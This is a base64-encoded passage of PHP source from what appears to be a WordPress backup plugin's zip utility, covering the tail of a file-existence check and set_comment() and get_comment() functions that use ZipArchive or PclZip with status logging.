ZCBpdCBmcm9tIHBvc3NpYmxlIGxvY2F0aW9ucwoJCQkJCWlmICggZmlsZV9leGlzdHMoIEFCU1BBVEggLiAnd3AtYWRtaW4vaW5jbHVkZXMvY2xhc3MtcGNsemlwLnBocCcgKSApIHsKCQkJCQkKCQkJCQkJLy8gUnVubmluZyB1bmRlciBXb3JkUHJlc3MKCQkJCQkJQGluY2x1ZGVfb25jZSggQUJTUEFUSCAuICd3cC1hZG1pbi9pbmNsdWRlcy9jbGFzcy1wY2x6aXAucGhwJyApOwoJCQkJCQkKCQkJCQl9IGVsc2VpZiAoIGZpbGVfZXhpc3RzKCBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvbGliL3BjbHppcC9wY2x6aXAucGhwJyApICkgewoJCQkJCQoJCQkJCQkvLyBSdW5uaW5nIFN0YW5kYWxvbmUgKGltcG9ydGJ1ZGR5KQoJCQkJCQlAaW5jbHVkZV9vbmNlKCBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvbGliL3BjbHppcC9wY2x6aXAucGhwJyApOwoJCQkJCQkKCQkJCQl9CgkJCQkJCgkJCQl9CgkJCQkKCQkJCS8vIE1ha2Ugc3VyZSB3ZSBkaWQgbG9hZCBpdAoJCQkJaWYgKCBjbGFzc19leGlzdHMoICdQY2xaaXAnLCBmYWxzZSApICkgewoJCQkJCgkJCQkJJHphID0gbmV3IFBjbFppcCggJHppcF9maWxlICk7CgkJCQkJCgkJCQkJLy8gTWFrZSBzdXJlIHdlIG9wZW5lZCB0aGUgemlwIG9rIGFuZCBpdCBoYXMgY29udGVudAoJCQkJCWlmICggKCAkY29udGVudF9saXN0ID0gJHphLT5saXN0Q29udGVudCgpICkgIT09IDAgKSB7CgkJCQkJCgkJCQkJCS8vIEdldCBlYWNoIGZpbGUgaW4gc2VxdWVuY2UgYnkgaW5kZXggYW5kIGdldCB0aGUgcHJvcGVydGllcwoJCQkJCQlmb3IgKCAkaSA9IDA7ICRpIDwgc2l6ZW9mKCAkY29udGVudF9saXN0ICk7ICRpKysgKSB7CgkJCQkJCQoJCQkJCQkJJHN0YXQgPSAkY29udGVudF9saXN0WyAkaSBdOwoJCQkJCQkJCgkJCQkJCQkvLyBBc3N1bWUgdGhlIGtleSBleGlzdHMgKGNvbnNpZGVyIHRlc3RpbmcpCgkJCQkJCQlpZiAoICRzdGF0WyAnZmlsZW5hbWUnIF0gPT0gJGxvY2F0ZV9maWxlICkgewoJCQkJCQkJCgkJCQkJCQkJLy8gRmlsZSBmb3VuZCBzbyB3ZSBjYW4ganVzdCByZXR1cm4KCQkJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdGaWxlIGZvdW5kIChwY2x6aXApJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICc6ICcgLiAkbG9jYXRlX2ZpbGUgKTsKCQkJCQkJCQlyZXR1cm4gdHJ1ZTsKCQkJCQkJCQkKCQkJCQkJCX0KCQkJCQkJCQoJCQkJCQl9CgkJCQkJCQoJCQkJCQkvLyBPbmx5IGdldCBoZXJlIGlmIHRoZSBmaWxlIHdhc24ndCBmb3VuZAoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdGaWxlIG5vdCBmb3VuZCAocGNsemlwKScsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnOiAnIC4gJGxvY2F0ZV9maWxlICk7CgkJCQkJCXJldHVybiBmYWxzZTsKCgkJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQkJLy8gQ291bGRuJ3Qgb3BlbiBhcmNoaXZlIC0gZHJvcCB0aHJvdWdoIGFzIG1heWJlIG90aGVyIG1ldGhvZCB3aWxsIHN1Y2NlZWQ/CgkJCQkJCSRlcnJvcl9zdHJpbmcgPSAkemEtPmVycm9ySW5mbyggdHJ1ZSApOwoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdwY2x6aXAgZmFpbGVkIHRvIG9wZW4gZmlsZSB0byBjaGVjayBpZiBmaWxlIGV4aXN0cyAobG9va2luZyBmb3IgJTEkcyBpbiAlMiRzKSAtIEVycm9yIEluZm86ICUzJHMuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJGxvY2F0ZV9maWxlICwgJHppcF9maWxlLCAkZXJyb3Jfc3RyaW5nICkgKTsKCgkJCQkJfQoJCQkJCQkJCQoJCQkJfSBlbHNlIHsKCQkJCQoJCQkJCS8vIFNvbWV0aGluZyBmaXNoeSAtIHRoZSBtZXRob2RzIGluZGljYXRlZCBwY2x6aXAgYnV0IHdlIGNvdWxkbid0IGZpbmQgdGhlIGNsYXNzCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygncGNsemlwIGluZGljYXRlZCBhcyBhdmFpbGFibGUgbWV0aG9kIGJ1dCBjbGFzcyBQY2xaaXAgbm9uLWV4aXN0ZW50JywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoKCQkJCX0KCQkJCQoJCQl9CgkJCQoJCQkvLyBJZiB3ZSBnb3QgdGhpcyBmYXIgdGhlbiBubyBtZXRob2QgdG8gY2hlY2sgYmFja3VwIGNvbnRlbnQgd2FzIGF2YWlsYWJsZSBvciB3b3JrZWQKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnVW5hYmxlIHRvIGNoZWNrIGlmIGZpbGUgZXhpc3RzIChsb29raW5nIGZvciAlMSRzIGluICUyJHMpOiBObyBjb21wYXRpYmxlIHppcCBtZXRob2QgZm91bmQuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJGxvY2F0ZV9maWxlLCAkemlwX2ZpbGUgKSApOwoJCQlyZXR1cm4gZmFsc2U7CgoJCX0KCQkKCQkKCQkKCQkvKglzZXRfY29tbWVudCgpCgkJICoJCgkJICoJUmV0cmlldmUgYXJjaGl2ZSBjb21tZW50LgoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCQkJJHppcF9maWxlCQlGaWxlbmFtZSBvZiBhcmNoaXZlIHRvIHNldCBjb21tZW50IG9uLgoJCSAqCUBwYXJhbQkJc3RyaW5nCQkJJGNvbW1lbnQJCUNvbW1lbnQgdG8gYXBwbHkgdG8gYXJjaGl2ZS4KCQkgKglAcmV0dXJuCQlib29sZWFuL3N0cmluZwkJCQkJdHJ1ZSBvbiBzdWNjZXNzLCBlcnJvciBtZXNzYWdlIG90aGVyd2lzZS4KCQkgKi8KCQlmdW5jdGlvbiBzZXRfY29tbWVudCggJHppcF9maWxlLCAkY29tbWVudCApIHsKCQkKCQkJLy9Vc2UgWmlwQXJjaGl2ZSBpZiBhdmFpbGFibGUKCQkJaWYgKCBpbl9hcnJheSggJ3ppcGFyY2hpdmUnLCAkdGhpcy0+X3ppcF9tZXRob2RzICkgKSB7CgkJCQoJCQkJLy8gTWFrZSBkb3VibHkgc3VyZSBpdCBpcyBhdmFpbGFibGUKCQkJCWlmICggY2xhc3NfZXhpc3RzKCAnWmlwQXJjaGl2ZScsIGZhbHNlICkgKSB7CgkJCQkKCQkJCQkkemEgPSBuZXcgWmlwQXJjaGl2ZTsKCQkJCQkkcmVzdWx0ID0gJHphLT5vcGVuKCAkemlwX2ZpbGUgKTsKCQkJCQkKCQkJCQkvLyBNYWtlIHN1cmUgYXQgbGVhc3QgdGhlIHppcCBmaWxlIG9wZW5lZCBvawoJCQkJCWlmICggJHJlc3VsdCA9PT0gdHJ1ZSApIHsKCQkJCQkKCQkJCQkJCS8vIFNldCB0aGUgY29tbWVudCAtIHRydWUgb24gc3VjY2VzcywgZmFsc2Ugb24gZmFpbHVyZQoJCQkJCQkJJHJlc3VsdCA9ICR6YS0+c2V0QXJjaGl2ZUNvbW1lbnQoICRjb21tZW50ICk7CgkJCQkJCQkkemEtPmNsb3NlKCk7CgkJCQkJCQkKCQkJCQkJCS8vIElmIHdlIGdvdCBiYWNrIHRydWUgdGhlbiBhbGwgaXMgd2VsbCB3aXRoIHRoZSB3b3JsZAoJCQkJCQkJaWYgKCAkcmVzdWx0ID09PSB0cnVlICkgewoJCQkJCQkJCgkJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnWmlwQXJjaGl2ZSBzZXQgY29tbWVudCBpbiBmaWxlICUxJHMnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkemlwX2ZpbGUgKSApOwoJCQkJCQkJCXJldHVybiB0cnVlOwoJCQkJCQkJCQoJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQoJCQkJCQkJCS8vIElmIHdlIGZhaWxlZCB0byBzZXQgdGhlIGNvbW1uZW50IHRoZW4gbG9nIGl0ICg/KSBhbmQgZHJvcCB0aHJvdWdoCgkJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnWmlwQXJjaGl2ZSBmYWlsZWQgdG8gc2V0IGNvbW1lbnQgaW4gZmlsZSAlMSRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlICkgKTsKCgkJCQkJCQl9CgkJCQkJCQkKCQkJCQl9IGVsc2UgewoJCQkJCQoJCQkJCQkvLyBJZiB3ZSBjb3VsZG4ndCBvcGVuIHRoZSB6aXAgZmlsZSB0aGVuIGxvZyBpdCAoPykgYW5kIGRyb3AgdGhyb3VnaAoJCQkJCQkkZXJyb3Jfc3RyaW5nID0gJHRoaXMtPnppcGFyY2hpdmVfZXJyb3JfaW5mbyggJHJlc3VsdCApOwoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdaaXBBcmNoaXZlIGZhaWxlZCB0byBvcGVuIGZpbGUgdG8gc2V0IGNvbW1lbnQgaW4gZmlsZSAlMSRzIC0gRXJyb3IgSW5mbzogJTIkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSwgJGVycm9yX3N0cmluZyApICk7CgkJCQkJCQoJCQkJCX0KCQkJCQkJCQkJCgkJCQl9IGVsc2UgewoJCQkJCgkJCQkJLy8gU29tZXRoaW5nIGZpc2h5IC0gdGhlIG1ldGhvZHMgaW5kaWNhdGVkIHppcGFyY2hpdmUgYnV0IHdlIGNvdWxkbid0IGZpbmQgdGhlIGNsYXNzCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnemlwYXJjaGl2ZSBpbmRpY2F0ZWQgYXMgYXZhaWxhYmxlIG1ldGhvZCBidXQgWmlwQXJjaGl2ZSBjbGFzcyBub24tZXhpc3RlbnQnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgoJCQkJfQoJCQkJCgkJCX0KCQkJCgkJCS8vIERyb3BwZWQgdGhyb3VnaCBiZWNhdXNlIFppcEFyY2hpdmUgbm90IGF2YWlsYWJsZSBvciBmYWlsZWQgZm9yIHNvbWUgcmVhc29uCgkJCWlmICggaW5fYXJyYXkoICdwY2x6aXAnLCAkdGhpcy0+X3ppcF9tZXRob2RzICkgKSB7CgkJCQoJCQkJLy8gTWFrZSBzdXJlIHdlIGhhdmUgaXQKCQkJCWlmICggIWNsYXNzX2V4aXN0cyggJ1BjbFppcCcsIGZhbHNlICkgKSB7CgkJCQkKCQkJCQkvLyBJdCdzIG5vdCBhbHJlYWR5IGxvYWRlZCBzbyB0cnkgYW5kIGZpbmQvbG9hZCBpdCBmcm9tIHBvc3NpYmxlIGxvY2F0aW9ucwoJCQkJCWlmICggZmlsZV9leGlzdHMoIEFCU1BBVEggLiAnd3AtYWRtaW4vaW5jbHVkZXMvY2xhc3MtcGNsemlwLnBocCcgKSApIHsKCQkJCQkKCQkJCQkJLy8gUnVubmluZyB1bmRlciBXb3JkUHJlc3MKCQkJCQkJQGluY2x1ZGVfb25jZSggQUJTUEFUSCAuICd3cC1hZG1pbi9pbmNsdWRlcy9jbGFzcy1wY2x6aXAucGhwJyApOwoJCQkJCQkKCQkJCQl9IGVsc2VpZiAoIGZpbGVfZXhpc3RzKCBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvbGliL3BjbHppcC9wY2x6aXAucGhwJyApICkgewoJCQkJCQoJCQkJCQkvLyBSdW5uaW5nIFN0YW5kYWxvbmUgKGltcG9ydGJ1ZGR5KQoJCQkJCQlAaW5jbHVkZV9vbmNlKCBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvbGliL3BjbHppcC9wY2x6aXAucGhwJyApOwoJCQkJCQkKCQkJCQl9CgkJCQkJCgkJCQl9CgkJCQkKCQkJCS8vIE1ha2Ugc3VyZSB3ZSBkaWQgbG9hZCBpdAoJCQkJaWYgKCBjbGFzc19leGlzdHMoICdQY2xaaXAnLCBmYWxzZSkgKSB7CgkJCQkKCQkJCQkkemEgPSBuZXcgUGNsWmlwKCAkemlwX2ZpbGUgKTsKCQkJCQkKCQkJCQkvLyBNYWtlIHN1cmUgd2Ugb3BlbmVkIHRoZSB6aXAgb2sgYW5kIHdlIGFkZGVkIHRoZSBjb21tZW50IG9rCgkJCQkJLy8gTm90ZTogdXNpbmcgZW1wdHkgYXJyYXkgYXMgd2UgZG9uJ3QgYWN0dWFsbHkgd2FudCB0byBhZGQgYW55IGZpbGVzCgkJCQkJaWYgKCAoICRsaXN0ID0gJHphLT5hZGQoIGFycmF5KCksIFBDTFpJUF9PUFRfQ09NTUVOVCwgJGNvbW1lbnQgKSApICE9PSAwICkgewoJCQkJCQoJCQkJCQkvLyBXZSBnb3QgYSBsaXN0IGJhY2sgc28gYWRkaW5nIGNvbW1lbnQgc2hvdWxkIGhhdmUgYmVlbiBzdWNjZXNzZnVsCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ1BjbFppcCBzZXQgY29tbWVudCBpbiBmaWxlICUxJHMnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkemlwX2ZpbGUgKSApOwoJCQkJCQlyZXR1cm4gdHJ1ZTsKCQkJCQkJCgkJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQkJLy8gSWYgd2UgZmFpbGVkIHRvIHNldCB0aGUgY29tbW5lbnQgdGhlbiBsb2cgaXQgKD8pIGFuZCBkcm9wIHRocm91Z2gKCQkJCQkJJGVycm9yX3N0cmluZyA9ICR6YS0+ZXJyb3JJbmZvKCB0cnVlICk7CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ1BjbFppcCBmYWlsZWQgdG8gc2V0IGNvbW1lbnQgaW4gZmlsZSAlMSRzIC0gRXJyb3IgSW5mbzogJTIkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSwgJGVycm9yX3N0cmluZyApICk7CgkJCQkJCQoJCQkJCX0KCQkJCQoJCQkJfSBlbHNlIHsKCQkJCQoJCQkJCS8vIFNvbWV0aGluZyBmaXNoeSAtIHRoZSBtZXRob2RzIGluZGljYXRlZCBwY2x6aXAgYnV0IHdlIGNvdWxkbid0IGZpbmQgdGhlIGNsYXNzCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygncGNsemlwIGluZGljYXRlZCBhcyBhdmFpbGFibGUgbWV0aG9kIGJ1dCBjbGFzcyBQY2xaaXAgbm9uLWV4aXN0ZW50JywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoKCQkJCX0KCQkJCQoJCQl9CgkJCQoJCQkvLyBXZSBjb3VsZG4ndCBzZXQgYSBjb21tZW50IGF0IGFsbCAtIGVpdGhlciBubyBhdmFpbGFibGUgbWV0aG9kIG9yIGFsbCBtZXRob2RzIGZhaWxlZAoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdVbmFibGUgdG8gc2V0IGNvbW1lbnQgaW4gZmlsZSAlMSRzOiBObyBjb21wYXRpYmxlIHppcCBtZXRob2QgZm91bmQgb3IgYWxsIG1ldGhvZHMgZmFpbGVkIC0gbm90ZSBzdG9yZWQgaW50ZXJuYWxseSBvbmx5LicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSApICk7CgoJCQkvLyBSZXR1cm4gbWVzc2FnZSBmb3IgZGlzcGxheSAtIG1heWJlIHNob3VsZCByZXR1cm4gZmFsc2UgYW5kIGhhdmUgY2FsbGVyIGRpc3BsYXkgaXQncyBvd24gbWVzc2FnZT8KCQkJJG1lc3NhZ2UgPSAiXG5cblVuYWJsZSB0byBzZXQgbm90ZSBpbiBmaWxlLlxuVGhlIG5vdGUgd2lsbCBvbmx5IGJlIHN0b3JlZCBpbnRlcm5hbGx5IGluIHlvdXIgc2V0dGluZ3MgYW5kIG5vdCBpbiB0aGUgemlwIGZpbGUgaXRzZWxmLiI7CgkJCXJldHVybiAkbWVzc2FnZTsKCQkJCgkJfSAvLyBFbmQgc2V0X2NvbW1lbnQoKS4KCQkKCQkKCQkKCQkvKglnZXRfY29tbWVudCgpCgkJICoJCgkJICoJUmV0cmlldmUgYXJjaGl2ZSBjb21tZW50LgoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCQkkemlwX2ZpbGUJCUZpbGVuYW1lIG9mIGFyY2hpdmUgdG8gcmV0cmlldmUgY29tbWVudCBmcm9tLgoJCSAqCUByZXR1cm4JCXN0cmluZwkJCQkJCVppcCBjb21tZW50LgoJCSAqLwoJCWZ1bmN0aW9uIGdldF9jb21tZW50KCAkemlwX2ZpbGUgKSB7CgkJCgkJCS8vIFVzZSBaaXBBcmNoaXZlIGlmIGF2YWlsYWJsZQoJCQlpZiAoIGluX2FycmF5KCAnemlwYXJjaGl2ZScsICR0aGlzLT5femlwX21ldGhvZHMgKSApIHsKCQkJCgkJCQkvLyBNYWtlIGRvdWJseSBzdXJlIGl0IGlzIGF2YWlsYWJsZQoJCQkJaWYgKCBjbGFzc19leGlzdHMoICdaaXBBcmNoaXZlJywgZmFsc2UgKSApIHsKCQkJCQoJCQkJCSR6YSA9IG5ldyBaaXBBcmNoaXZlKCk7CgkJCQkJJHJlc3VsdCA9ICR6YS0+b3BlbiggJHppcF9maWxlICk7CgkJCQkJCgkJCQkJLy8gTWFrZSBzdXJlIHRoYXQgYXQgbGVhc3QgdGhlIHppcCBmaWxlIG9wZW5lZCBvawoJCQkJCWlmICggJHJlc3VsdCA9PT0gdHJ1ZSApIHsKCQkJCQkKCQkJCQkJLy8gR2V0IHRoZSBjb21tZW50IG9yIGZhbHNlIG9uIGZhaWx1cmUgZm9yIHNvbWUgcmVhc29uCgkJCQkJCSRjb21tZW50ID0gJHphLT5nZXRBcmNoaXZlQ29tbWVudCgpOwoJCQkJCQkkemEtPmNsb3NlKCk7CgkJCQkJCQoJCQkJCQkvLyBJZiB3ZSBoYXZlIGEgY29tbWVudCAoZXZlbiBpZiBlbXB0eSkgdGhlbiByZXR1cm4gaXQKCQkJCQkJaWYgKCAkY29tbWVudCAhPT0gZmFsc2UgKSB7CgkJCQkJCQoJCQkJCQkJLy8gTm90ZTogbmV3IGFyY2hpdmVzIHdpbGwgcmV0dXJuIGFuIGVtcHR5IGNvbW1lbnQgaWYgb25lIHdhcyBub3QgYWRkZWQgYXQgY3JlYXRpb24KCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ1ppcEFyY2hpdmUgcmV0cmlldmVkIGNvbW1lbnQgaW4gZmlsZSAlMSRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlICkgKTsKCgkJCQkJCQkvLyBGb3JtYXQgaGFzIGNoYW5nZWQgYW5kIG5vIGxvbmdlciBlbmNvZGluZyBhcyBodG1sZW10aXRpZXMgd2hlbiBzZXR0aW5nIGNvbW1lbnQKCQkJCQkJCS8vIEZvciBvbGRlciBiYWNrdXBzIG1heSBuZWVkIHRvIHJlbW92ZSBlbmNvZGluZyAtIGFjdGlvbiBfc2hvdWxkXyBiZSBudWxsIGlmIE4vQQoJCQkJCQkJLy8gT25seSBzcGFubmVyIHdvdWxkIGJlIGlmIHNvbWVvbmUgaGFkIHB1dCBhbiBlbnRpdHkgaW4gdGhlaXIgY29tbWVudCBidXQgdGhhdCBpcwoJCQkJCQkJLy8gcmVhbGx5IGFuIG91dHNpZGVyIGFuZCBpbiBhbnkgY2FzZSB0aGUgY29ycmVjdGlvbiBpcyBzaW1wbHkgdG8gZWRpdCBhbmQgcmVzYXZlCgkJCQkJCQkvLyBUT0RPOiBSZW1vdmUgdGhpcyB3aGVuIG5ldyBmb3JtYXQgaGFzIGJlZW4gaW4gdXNlIGZvciBzb21lIHRpbWUKCQkJCQkJCSRjb21tZW50ID0gaHRtbF9lbnRpdHlfZGVjb2RlKCAkY29tbWVudCApOwkJCQkKCgkJCQkJCQlyZXR1cm4gJGNvbW1lbnQ7CgkJCQkJCQkKCQkJCQkJfSBlbHNlIHsKCQkJCQkJCgkJCQkJCQkvLyBJZiB3ZSBmYWlsZWQgdG8gZ2V0IHRoZSBjb21tbmVudCB0aGVuIGxvZyBpdCAoPykgYW5kIGRyb3AgdGhyb3VnaAoJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnWmlwQXJjaGl2ZSBmYWlsZWQgdG8gcmV0cmlldmUgY29tbWVudCBpbiBmaWxlICUxJHMnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkemlwX2ZpbGUgKSApOwoKCQkJCQkJfQoKCQkJCQl9IGVsc2UgewoJCQkJCQoJCQkJCQkvLyBJZiB3ZSBjb3VsZG4ndCBvcGVuIHRoZSB6aXAgZmlsZSB0aGVuIGxvZyBpdCAoPykgYW5kIGRyb3AgdGhyb3VnaAoJCQkJCQkkZXJyb3Jfc3RyaW5nID0gJHRoaXMtPnppcGFyY2hpdmVfZXJyb3JfaW5mbyggJHJlc3VsdCApOwoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdaaXBBcmNoaXZlIGZhaWxlZCB0byBvcGVuIGZpbGUgdG8gcmV0cmlldmUgY29tbWVudCBpbiBmaWxlICUxJHMgLSBFcnJvciBJbmZvOiAlMiRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlLCAkZXJyb3Jfc3RyaW5nICkgKTsKCgkJCQkJfQoJCQkJCgkJCQl9IGVsc2UgewoJCQkJCgkJCQkJLy8gU29tZXRoaW5nIGZpc2h5IC0gdGhlIG1ldGhvZHMgaW5kaWNhdGVkIHppcGFyY2hpdmUgYnV0IHdlIGNvdWxkbid0IGZpbmQgdGhlIGNsYXNzCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnemlwYXJjaGl2ZSBpbmRpY2F0ZWQgYXMgYXZhaWxhYmxlIG1ldGhvZCBidXQgWmlwQXJjaGl2ZSBjbGFzcyBub24tZXhpc3RlbnQnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgoJCQkJfQoJCQkJCgkJCX0KCQkJCgkJCS8vIERyb3BwZWQgdGhyb3VnaCBiZWNhdXNlIFppcEFyY2hpdmUgbm90IGF2YWlsYWJsZSBvciBmYWlsZWQgZm9yIHNvbWUgcmVhc29uCgkJCWlmICggaW5fYXJyYXkoICdwY2x6aXAnLCAkdGhpcy0+X3ppcF9tZXRob2RzICkgKSB7CgkJCQoJCQkJLy8gTWFrZSBzdXJlIHdlIGhhdmUgaXQKCQkJCWlmICggIWNsYXNzX2V4aXN0cyggJ1BjbFppcCcsIGZhbHNlICkgKSB7CgkJCQkKCQkJCQkvLyBJdCdzIG5vdCBhbHJlYWR5IGxvYWRlZCBzbyB0cnkgYW5kIGZpbmQvbG9hZCBpdCBmcm9tIHBvc3NpYmxlIGxvY2F0aW9ucwoJCQkJCWlmICggZmlsZV9leGlzdHMoIEFCU1BBVEggLiAnd3AtYWRtaW4vaW5jbHVkZXMvY2xhc3MtcGNsemlwLnBocCcgKSApIHsKCQkJCQkKCQkJCQkJLy8gUnVubmluZyB1bmRlciBXb3JkUHJlc3MKCQkJCQkJQGluY2x1ZGVfb25jZSggQUJTUEFUSCAuICd3cC1hZG1pbi9pbmNsdWRlcy9jbGFzcy1wY2x6aXAucGhwJyApOwoJCQkJCQkKCQkJCQl9IGVsc2VpZiAoIGZpbGVfZXhpc3RzKCBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvbGliL3BjbHppcC9wY2x6aXAucGhwJyApICkgewoJCQkJCQoJCQkJCQkvLyBSdW5uaW5nIFN0YW5kYWxvbmUgKGltcG9ydGJ1ZGR5KQoJCQkJCQlAaW5jbHVkZV9vbmNlKCBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvbGliL3BjbHppcC9wY2x6aXAucGhwJyApOwoJCQkJCQkKCQkJCQl9CgkJCQkJCgkJCQl9CgkJCQkKCQkJCS8vIE1ha2Ugc3VyZSB3ZSBkaWQgbG9hZCBpdAoJCQkJaWYgKCBjbGFzc19leGlzdHMoICdQY2xaaXAnLCBmYWxzZSkgKSB7CgkJCQkKCQkJCQkkemEgPSBuZXcgUGNsWmlwKCAkemlwX2ZpbGUgKTsKCQkJCQkKCQkJCQkvLyBNYWtlIHN1cmUgd2Ugb3BlbmVkIHRoZSB6aXAgb2sgYW5kIGl0IGhhcyBwcm9wZXJ0aWVzCgkJCQkJaWYgKCAoICRwcm9wZXJ0aWVzID0gJHphLT5wcm9wZXJ0aWVzKCkgKSAhPT0gMCApIHsKCQkJCQkKCQkJCQkJLy8gV2UgZ290IHByb3BlcnRpZXMgc28gc2hvdWxkIGhhdmUgYSBjb21tZW50IHRvIHJldHVybiwgZXZlbiBpZiBlbXB0eQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdQY2xaaXAgcmV0cmlldmVkIGNvbW1lbnQgaW4gZmlsZSAlMSRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlICkgKTsKCQkJCQkJJGNvbW1lbnQgPSAkcHJvcGVydGllc1sgJ2NvbW1lbnQnIF07CgoJCQkJCQkvLyBGb3JtYXQgaGFzIGNoYW5nZWQgYW5kIG5vIGxvbmdlciBlbmNvZGluZyBhcyBodG1sZW10aXRpZXMgd2hlbiBzZXR0aW5nIGNvbW1lbnQKCQkJCQkJLy8gRm9yIG9sZGVyIGJhY2t1cHMgbWF5IG5lZWQgdG8gcmVtb3ZlIGVuY29kaW5nIC0gYWN0aW9uIF9zaG91bGRfIGJlIG51bGwgaWYgTi9BCgkJCQkJCS8vIE9ubHkgc3Bhbm5lciB3b3VsZCBiZSBpZiBzb21lb25lIGhhZCBwdXQgYW4gZW50aXR5IGluIHRoZWlyIGNvbW1lbnQgYnV0IHRoYXQgaXMKCQkJCQkJLy8gcmVhbGx5IGFuIG91dHNpZGVyIGFuZCBpbiBhbnkgY2FzZSB0aGUgY29ycmVjdGlvbiBpcyBzaW1wbHkgdG8gZWRpdCBhbmQgcmVzYXZlCgkJCQkJCS8vIFRPRE86IFJlbW92ZSB0aGlzIHdoZW4gbmV3IGZvcm1hdCBoYXMgYmVlbiBpbiB1c2UgZm9yIHNvbWUgdGltZQoJCQkJCQkkY29tbWVudCA9IGh0bWxfZW50aXR5X2RlY29kZSggJGNvbW1lbnQgKTsKCQkJCQkKCQkJCQkJcmV0dXJuICRjb21tZW50OwoJCQkJCQkKCQkJCQl9IGVsc2UgewoJCQkJCQoJCQkJCQkvLyBJZiB3ZSBmYWlsZWQgdG8gZ2V0IHRoZSBjb21tbmVudCB0aGVuIGxvZyBpdCAoPykgYW5kIGRyb3AgdGhyb3VnaAoJCQkJCQkkZXJyb3Jfc3RyaW5nID0gJHphLT5lcnJvckluZm8oIHRydWUgKTsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnUGNsWmlwIGZhaWxlZCB0byByZXRyaWV2ZSBjb21tZW50IGluIGZpbGUgJTEkcyAtIEVycm9yIEluZm86ICUyJHMnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkemlwX2ZpbGUsICRlcnJvcl9zdHJpbmcgKSApOwoJCQkJCQkKCQkJCQl9CgkJCQkKCQkJCX0gZWxzZSB7CgkJCQkKCQkJCQkvLyBTb21ldGhpbmcgZmlzaHkgLSB0aGUgbWV0aG9kcyBpbmRpY2F0ZWQgcGNsemlwIGJ1dCB3ZSBjb3VsZG4ndCBmaW5kIHRoZSBjbGFzcwoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ3BjbHppcCBpbmRpY2F0ZWQgYXMgYXZhaWxhYmxlIG1ldGhvZCBidXQgY2xhc3MgUGNsWmlwIG5vbi1leGlzdGVudCcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCgkJCQl9